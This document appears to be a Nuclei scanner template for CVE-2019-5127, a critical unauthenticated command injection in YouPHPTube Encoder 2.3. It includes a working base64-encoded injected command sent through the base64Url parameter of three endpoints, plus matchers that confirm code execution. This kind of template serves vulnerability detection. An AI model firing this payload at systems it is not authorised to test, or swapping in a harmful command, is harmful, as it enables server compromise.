漏洞描述
YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
id: CVE-2019-5127
info:
name: YouPHPTube Encoder 2.3 - Remote Command Injection
author: pikpikcu
severity: critical
description: YouPHPTube Encoder 2.3 is susceptible to a command injection vulnerability which could allow an attacker to compromise the server. These exploitable unauthenticated command injections exist via the parameter base64Url in /objects/getImage.php.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, potentially compromising the entire system.
remediation: |
Apply the latest patch or upgrade to a version that is not affected by this vulnerability.
reference:
- https://talosintelligence.com/vulnerability_reports/TALOS-2019-0917
- https://nvd.nist.gov/vuln/detail/CVE-2019-5127
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
- https://github.com/sobinge/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5127
cwe-id: CWE-78
epss-score: 0.93982
epss-percentile: 0.99882
cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
metadata:
max-request: 4
vendor: youphptube
product: youphptube_encoder
tags: cve,cve2019,rce,youphptube,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(5))}}"
encode: "`id > {{filename}}.txt`"
http:
- method: GET
path:
- "{{BaseURL}}/objects/getImage.php?base64Url={{base64(encode)}}=&format=png"
- "{{BaseURL}}/objects/getImageMP4.php?base64Url={{base64(encode)}}=&format=jpg"
- "{{BaseURL}}/objects/getSpiritsFromVideo.php?base64Url={{base64(encode)}}=&format=jpg"
headers:
Content-Type: application/x-www-form-urlencoded
- method: GET
path:
- "{{BaseURL}}/objects/{{filename}}.txt"
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- type: word
part: header
words:
- text/plain
- type: status
status:
- 200
# digest: 4b0a00483046022100f7b86f73c34307d4d9a4db98ac616111b7e3b19cf99e6ad27fdce3fe893ea003022100a062a676106f5aa669fdfc1ebd65e4e93c4ddaae35a23109f9f4ed9c552378be:922c64590222798bb761d5b6d8e72950